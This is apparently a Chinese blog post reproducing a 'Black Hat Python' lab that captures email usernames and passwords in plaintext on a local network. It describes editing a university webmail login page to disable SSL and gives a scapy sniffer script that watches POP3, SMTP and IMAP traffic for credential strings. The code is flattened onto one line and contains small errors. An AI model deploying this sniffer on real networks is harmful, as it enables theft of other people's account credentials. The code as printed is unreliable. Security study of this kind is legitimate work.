近期收到了电子工业出版社赠送的一本网络安全书籍《python黑帽子》，书中一共24个实验，今天复现第8个实验（抓取邮箱密码），我的测试环境是mbp电脑+kali虚拟机+conda开发环境。使用中科大邮箱（备注：马上要高考了，欢迎报考中科大，我们是终身邮箱哦～），这里默认打上了SSL安全登录，修改前端页面代码就可以绕过限制，便能轻松抓取局域网所有用户和密码，前提是取消SSL打勾，现在主流邮箱都已经加密了，所有只有在实验环境下才能成功～
ailx10
网络安全优秀回答者
网络安全硕士
去咨询
1、2015年上学的时候SSL还没有打勾，现在安全要求高了，默认打勾了，需要修改一下前端页面，取消打勾，否则抓取不到明文
2、在mbp上运行脚本，并访问中科大邮箱，就能抓取到邮箱的用户名和密码的明文，如果打勾SSL，就看不到明文了
3、在kali虚拟机上访问中科大邮箱，同样可以抓取到用户名和密码，也就是说只要是局域网里面的所有人访问中科大邮箱，都能抓取到他们的用户名和密码
参考代码：
# -*- coding: utf-8 -*-# @Time : 2022/6/6 7:35 PM# @Author : ailx10# @File : mail_sniffer.pyfrom scapy.all import *from scapy.layers.inet import IP,TCPfrom scapy.config import confconf.use_pcap = Truedef packet_callback(packet): if packet.haslayer(TCP): if packet[TCP].payload: mypacket = str(packet[TCP].payload) if "user" in mypacket.lower or "pass" in mypacket.lower: print(f"[*] Destination :{packet[IP].dst}") print(f"[*] {str(packet[TCP].payload)}")def main: sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,store=0)if __name__ == "__main__": main
发布于 2022-06-06 19:54
